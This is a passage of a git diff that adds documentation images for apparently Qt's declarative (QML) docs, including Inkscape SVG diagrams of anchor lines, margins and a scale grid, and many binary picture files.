+ d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.54242"
+ y="393.58627"
+ id="text3657"><tspan
+ sodipodi:role="line"
+ id="tspan3659"
+ x="258.54242"
+ y="393.58627"
+ style="font-size:10px">top</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.78955"
+ y="412.28455"
+ id="text3661"><tspan
+ sodipodi:role="line"
+ id="tspan3663"
+ x="258.78955"
+ y="412.28455"
+ style="font-size:10px">verticalCenter</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.18896"
+ y="433.27582"
+ id="text3665"><tspan
+ sodipodi:role="line"
+ id="tspan3667"
+ x="260.18896"
+ y="433.27582"
+ style="font-size:10px">bottom</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="200.96443"
+ y="376.24954"
+ id="text3669"><tspan
+ sodipodi:role="line"
+ id="tspan3671"
+ x="200.96443"
+ y="376.24954"
+ style="font-size:10px">left</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="232.55408"
+ y="375.39383"
+ id="text3673"><tspan
+ sodipodi:role="line"
+ id="tspan3675"
+ x="232.55408"
+ y="375.39383"
+ style="font-size:10px">right</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="190.71951"
+ y="355.25827"
+ id="text3677"><tspan
+ sodipodi:role="line"
+ id="tspan3679"
+ x="190.71951"
+ y="355.25827"
+ style="font-size:10px">horizontalCenter</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Mstart);stroke-opacity:1"
+ d="M 226.2567,375.39382 C 229.40539,356.85154 229.75525,357.20139 229.75525,357.20139"
+ id="path3681" />
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/extending-tutorial-chapter1.png b/doc/src/declarative/pics/extending-tutorial-chapter1.png
new file mode 100644
index 00000000..9f5836b0
--- /dev/null
+++ b/doc/src/declarative/pics/extending-tutorial-chapter1.png
Binary files differ
diff --git a/doc/src/declarative/pics/extending-tutorial-chapter2.png b/doc/src/declarative/pics/extending-tutorial-chapter2.png
new file mode 100644
index 00000000..5c8f222a
--- /dev/null
+++ b/doc/src/declarative/pics/extending-tutorial-chapter2.png
Binary files differ
diff --git a/doc/src/declarative/pics/extending-tutorial-chapter3.png b/doc/src/declarative/pics/extending-tutorial-chapter3.png
new file mode 100644
index 00000000..825553fc
--- /dev/null
+++ b/doc/src/declarative/pics/extending-tutorial-chapter3.png
Binary files differ
diff --git a/doc/src/declarative/pics/extending-tutorial-chapter5.png b/doc/src/declarative/pics/extending-tutorial-chapter5.png
new file mode 100644
index 00000000..0c2e69e1
--- /dev/null
+++ b/doc/src/declarative/pics/extending-tutorial-chapter5.png
Binary files differ
diff --git a/doc/src/declarative/pics/flickable.gif b/doc/src/declarative/pics/flickable.gif
new file mode 100644
index 00000000..f7a33194
--- /dev/null
+++ b/doc/src/declarative/pics/flickable.gif
Binary files differ
diff --git a/doc/src/declarative/pics/flipable.gif b/doc/src/declarative/pics/flipable.gif
new file mode 100644
index 00000000..fd187906
--- /dev/null
+++ b/doc/src/declarative/pics/flipable.gif
Binary files differ
diff --git a/doc/src/declarative/pics/gridLayout_example.png b/doc/src/declarative/pics/gridLayout_example.png
new file mode 100644
index 00000000..6b120e96
--- /dev/null
+++ b/doc/src/declarative/pics/gridLayout_example.png
Binary files differ
diff --git a/doc/src/declarative/pics/gridview-highlight.png b/doc/src/declarative/pics/gridview-highlight.png
new file mode 100644
index 00000000..b54af37f
--- /dev/null
+++ b/doc/src/declarative/pics/gridview-highlight.png
Binary files differ
diff --git a/doc/src/declarative/pics/gridview-simple.png b/doc/src/declarative/pics/gridview-simple.png
new file mode 100644
index 00000000..a102939f
--- /dev/null
+++ b/doc/src/declarative/pics/gridview-simple.png
Binary files differ
diff --git a/doc/src/declarative/pics/highlight.gif b/doc/src/declarative/pics/highlight.gif
new file mode 100644
index 00000000..fbef256f
--- /dev/null
+++ b/doc/src/declarative/pics/highlight.gif
Binary files differ
diff --git a/doc/src/declarative/pics/horizontalpositioner_example.png b/doc/src/declarative/pics/horizontalpositioner_example.png
new file mode 100644
index 00000000..42f90ec7
--- /dev/null
+++ b/doc/src/declarative/pics/horizontalpositioner_example.png
Binary files differ
diff --git a/doc/src/declarative/pics/imageprovider.png b/doc/src/declarative/pics/imageprovider.png
new file mode 100644
index 00000000..422103cb
--- /dev/null
+++ b/doc/src/declarative/pics/imageprovider.png
Binary files differ
diff --git a/doc/src/declarative/pics/layoutmirroring.png b/doc/src/declarative/pics/layoutmirroring.png
new file mode 100644
index 00000000..df90ac4f
--- /dev/null
+++ b/doc/src/declarative/pics/layoutmirroring.png
Binary files differ
diff --git a/doc/src/declarative/pics/listmodel-nested.png b/doc/src/declarative/pics/listmodel-nested.png
new file mode 100644
index 00000000..ee7ffba6
--- /dev/null
+++ b/doc/src/declarative/pics/listmodel-nested.png
Binary files differ
diff --git a/doc/src/declarative/pics/listmodel.png b/doc/src/declarative/pics/listmodel.png
new file mode 100644
index 00000000..7ab1771f
--- /dev/null
+++ b/doc/src/declarative/pics/listmodel.png
Binary files differ
diff --git a/doc/src/declarative/pics/listview-highlight.png b/doc/src/declarative/pics/listview-highlight.png
new file mode 100644
index 00000000..dc5c6b3b
--- /dev/null
+++ b/doc/src/declarative/pics/listview-highlight.png
Binary files differ
diff --git a/doc/src/declarative/pics/listview-simple.png b/doc/src/declarative/pics/listview-simple.png
new file mode 100644
index 00000000..71a1c517
--- /dev/null
+++ b/doc/src/declarative/pics/listview-simple.png
Binary files differ
diff --git a/doc/src/declarative/pics/margins_qml.png b/doc/src/declarative/pics/margins_qml.png
new file mode 100644
index 00000000..d7d73a3f
--- /dev/null
+++ b/doc/src/declarative/pics/margins_qml.png
Binary files differ
diff --git a/doc/src/declarative/pics/margins_qml.svg b/doc/src/declarative/pics/margins_qml.svg
new file mode 100644
index 00000000..1f0ff022
--- /dev/null
+++ b/doc/src/declarative/pics/margins_qml.svg
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="margins_qml.svg"
+ inkscape:export-filename="/home/mbrasser/edges_qml.png"
+ inkscape:export-xdpi="284.45999"
+ inkscape:export-ydpi="284.45999">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Send"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Send"
+ style="overflow:visible;">
+ <path
+ id="path2976"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;"
+ transform="scale(0.2) rotate(180) translate(6,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Sstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Sstart"
+ style="overflow:visible">
+ <path
+ id="path2979"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.2) translate(6,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02602077;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602088, 1.02602088;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 252.98692,377.00435 C 252.98692,443.05433 253.31077,443.05433 253.31077,443.05433"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02601969;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602007, 1.02602007;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 198.35134,377.00433 C 198.35134,443.05431 198.67515,443.05431 198.67515,443.05431"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 193.94282,437.97112 C 257.43421,437.97112 257.06721,437.97112 257.06721,437.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 193.94282,380.78742 C 257.43421,380.78742 257.06721,380.78742 257.06721,380.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.29169"
+ y="388.78741"
+ id="text1911"><tspan
+ sodipodi:role="line"
+ id="tspan1913"
+ x="260.29169"
+ y="388.78741"
+ style="font-size:10px">topMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="259.65204"
+ y="437.27798"
+ id="text1915"><tspan
+ sodipodi:role="line"
+ id="tspan1917"
+ x="259.65204"
+ y="437.27798"
+ style="font-size:10px">bottomMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="170.07939"
+ y="454.4209"
+ id="text1919"><tspan
+ sodipodi:role="line"
+ id="tspan1921"
+ x="170.07939"
+ y="454.4209"
+ style="font-size:10px">leftMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="228.47504"
+ y="454.4209"
+ id="text1923"><tspan
+ sodipodi:role="line"
+ id="tspan1925"
+ x="228.47504"
+ y="454.4209"
+ style="font-size:10px">rightMargin</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92020172px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 225.6938,382.51213 C 225.6938,388.91693 225.6938,388.91693 225.6938,388.91693"
+ id="path1929" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92007709px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 225.6938,430.56703 C 225.6938,436.97192 225.6938,436.97192 225.6938,436.97192"
+ id="path3000" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 201.16631,410.1318 C 207.81355,410.1318 207.81355,410.1318 207.81355,410.1318"
+ id="path3002" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 244.02348,410.1318 C 250.67072,410.1318 250.67072,410.1318 250.67072,410.1318"
+ id="path3889" />
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/parentchange.png b/doc/src/declarative/pics/parentchange.png
new file mode 100644
index 00000000..93206fbb
--- /dev/null
+++ b/doc/src/declarative/pics/parentchange.png
Binary files differ
diff --git a/doc/src/declarative/pics/particles.gif b/doc/src/declarative/pics/particles.gif
new file mode 100644
index 00000000..763a8a86
--- /dev/null
+++ b/doc/src/declarative/pics/particles.gif
Binary files differ
diff --git a/doc/src/declarative/pics/pathview.gif b/doc/src/declarative/pics/pathview.gif
new file mode 100644
index 00000000..4052eb26
--- /dev/null
+++ b/doc/src/declarative/pics/pathview.gif
Binary files differ
diff --git a/doc/src/declarative/pics/positioner-add.gif b/doc/src/declarative/pics/positioner-add.gif
new file mode 100644
index 00000000..86e92470
--- /dev/null
+++ b/doc/src/declarative/pics/positioner-add.gif
Binary files differ
diff --git a/doc/src/declarative/pics/positioner-move.gif b/doc/src/declarative/pics/positioner-move.gif
new file mode 100644
index 00000000..1825c228
--- /dev/null
+++ b/doc/src/declarative/pics/positioner-move.gif
Binary files differ
diff --git a/doc/src/declarative/pics/positioner-remove.gif b/doc/src/declarative/pics/positioner-remove.gif
new file mode 100644
index 00000000..70865119
--- /dev/null
+++ b/doc/src/declarative/pics/positioner-remove.gif
Binary files differ
diff --git a/doc/src/declarative/pics/propanim.gif b/doc/src/declarative/pics/propanim.gif
new file mode 100644
index 00000000..f86406ee
--- /dev/null
+++ b/doc/src/declarative/pics/propanim.gif
Binary files differ
diff --git a/doc/src/declarative/pics/qml-context-object.png b/doc/src/declarative/pics/qml-context-object.png
new file mode 100644
index 00000000..1b91aff6
--- /dev/null
+++ b/doc/src/declarative/pics/qml-context-object.png
Binary files differ
diff --git a/doc/src/declarative/pics/qml-context-tree.png b/doc/src/declarative/pics/qml-context-tree.png
new file mode 100644
index 00000000..6bba5f4f
--- /dev/null
+++ b/doc/src/declarative/pics/qml-context-tree.png
Binary files differ
diff --git a/doc/src/declarative/pics/qml-context.png b/doc/src/declarative/pics/qml-context.png
new file mode 100644
index 00000000..bdf2ecd2
--- /dev/null
+++ b/doc/src/declarative/pics/qml-context.png
Binary files differ
diff --git a/doc/src/declarative/pics/qml-extending-types.png b/doc/src/declarative/pics/qml-extending-types.png
new file mode 100644
index 00000000..6990d7c1
--- /dev/null
+++ b/doc/src/declarative/pics/qml-extending-types.png
Binary files differ
diff --git a/doc/src/declarative/pics/qml-gradient.png b/doc/src/declarative/pics/qml-gradient.png
new file mode 100644
index 00000000..5eefdd20
--- /dev/null
+++ b/doc/src/declarative/pics/qml-gradient.png
Binary files differ
diff --git a/doc/src/declarative/pics/qml-scope.png b/doc/src/declarative/pics/qml-scope.png
new file mode 100644
index 00000000..be025c8c
--- /dev/null
+++ b/doc/src/declarative/pics/qml-scope.png
Binary files differ
diff --git a/doc/src/declarative/pics/qtlogo.png b/doc/src/declarative/pics/qtlogo.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/doc/src/declarative/pics/qtlogo.png
Binary files differ
diff --git a/doc/src/declarative/pics/rect-border-width.png b/doc/src/declarative/pics/rect-border-width.png
new file mode 100644
index 00000000..e232cf3e
--- /dev/null
+++ b/doc/src/declarative/pics/rect-border-width.png
Binary files differ
diff --git a/doc/src/declarative/pics/rect-color.png b/doc/src/declarative/pics/rect-color.png
new file mode 100644
index 00000000..b258ba9b
--- /dev/null
+++ b/doc/src/declarative/pics/rect-color.png
Binary files differ
diff --git a/doc/src/declarative/pics/rect-smooth.png b/doc/src/declarative/pics/rect-smooth.png
new file mode 100644
index 00000000..7ffd8aba
--- /dev/null
+++ b/doc/src/declarative/pics/rect-smooth.png
Binary files differ
diff --git a/doc/src/declarative/pics/reflection_example.png b/doc/src/declarative/pics/reflection_example.png
new file mode 100644
index 00000000..fd9bb480
--- /dev/null
+++ b/doc/src/declarative/pics/reflection_example.png
Binary files differ
diff --git a/doc/src/declarative/pics/repeater-index.png b/doc/src/declarative/pics/repeater-index.png
new file mode 100644
index 00000000..3dbe6d05
--- /dev/null
+++ b/doc/src/declarative/pics/repeater-index.png
Binary files differ
diff --git a/doc/src/declarative/pics/repeater-modeldata.png b/doc/src/declarative/pics/repeater-modeldata.png
new file mode 100644
index 00000000..6d8df0d9
--- /dev/null
+++ b/doc/src/declarative/pics/repeater-modeldata.png
Binary files differ
diff --git a/doc/src/declarative/pics/repeater-simple.png b/doc/src/declarative/pics/repeater-simple.png
new file mode 100644
index 00000000..6da62951
--- /dev/null
+++ b/doc/src/declarative/pics/repeater-simple.png
Binary files differ
diff --git a/doc/src/declarative/pics/repeater.png b/doc/src/declarative/pics/repeater.png
new file mode 100644
index 00000000..973df27a
--- /dev/null
+++ b/doc/src/declarative/pics/repeater.png
Binary files differ
diff --git a/doc/src/declarative/pics/scalegrid.svg b/doc/src/declarative/pics/scalegrid.svg
new file mode 100644
index 00000000..e386f3d7
--- /dev/null
+++ b/doc/src/declarative/pics/scalegrid.svg
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="scalegrid.svg"
+ inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/scalegrid.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207">
+ <defs
+ id="defs4" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="50"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="3.2163554"
+ inkscape:cx="173.89302"
+ inkscape:cy="703.69531"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="true"
+ inkscape:grid-bbox="false"
+ inkscape:guide-bbox="false"
+ inkscape:window-width="1409"
+ inkscape:window-height="1016"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:red;fill-opacity:1;stroke:none;stroke-width:3;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+ id="rect1876"
+ width="45.104"
+ height="45.137001"
+ x="119.16868"
+ y="301.00308"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.3965202;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304035, 0.39652018;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 157.02483,295.52571 C 157.02483,352.04784 157.02483,352.04784 157.02483,352.04784"
+ id="path2766" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 126.2,295.64284 C 126.2,352.16567 126.2,352.16567 126.2,352.16567"
+ id="path2768" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 169.05321,308.25967 C 112.53038,308.25967 112.53038,308.25967 112.53038,308.25967"
+ id="path2770" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 169.08024,339.77238 C 112.55741,339.77238 112.55741,339.77238 112.55741,339.77238"
+ id="path2772" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black"
+ x="115.2857"
+ y="303.60583"
+ id="text2774"><tspan
+ sodipodi:role="line"
+ id="tspan2776"
+ x="115.2857"
+ y="303.60583">1</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.19142"
+ y="303.60583"
+ id="text2782"><tspan
+ sodipodi:role="line"
+ id="tspan2784"
+ x="137.19142"
+ y="303.60583"
+ style="font-family:Arial Black">2</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black"
+ x="161.56842"
+ y="303.45935"
+ id="text2786"><tspan
+ sodipodi:role="line"
+ id="tspan2788"
+ x="161.56842"
+ y="303.45935">3</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="114.72613"
+ y="327.00702"
+ id="text2790"><tspan
+ sodipodi:role="line"
+ id="tspan2792"
+ x="114.72613"
+ y="327.00702"
+ style="font-family:Arial Black">4</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.12404"
+ y="326.86053"
+ id="text2794"><tspan
+ sodipodi:role="line"
+ id="tspan2796"
+ x="137.12404"
+ y="326.86053"
+ style="font-family:Arial Black">5</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="161.49518"
+ y="326.86053"
+ id="text2798"><tspan
+ sodipodi:role="line"
+ id="tspan2800"
+ x="161.49518"
+ y="326.86053"
+ style="font-family:Arial Black">6</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="114.70855"
+ y="351.25809"
+ id="text2802"><tspan
+ sodipodi:role="line"
+ id="tspan2804"
+ x="114.70855"
+ y="351.25809"
+ style="font-family:Arial Black">7</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.08595"
+ y="351.1116"
+ id="text2806"><tspan
+ sodipodi:role="line"
+ id="tspan2808"
+ x="137.08595"
+ y="351.1116"
+ style="font-family:Arial Black">8</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="161.58307"
+ y="351.1116"
+ id="text2810"><tspan
+ sodipodi:role="line"
+ id="tspan2812"
+ x="161.58307"
+ y="351.1116"
+ style="font-family:Arial Black">9</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/shaderexample.png b/doc/src/declarative/pics/shaderexample.png
new file mode 100644
index 00000000..dbc7291a
--- /dev/null
+++ b/doc/src/declarative/pics/shaderexample.png
Binary files differ
diff --git a/doc/src/declarative/pics/shadow_example.png b/doc/src/declarative/pics/shadow_example.png
new file mode 100644
index 00000000..6214620f
--- /dev/null
+++ b/doc/src/declarative/pics/shadow_example.png
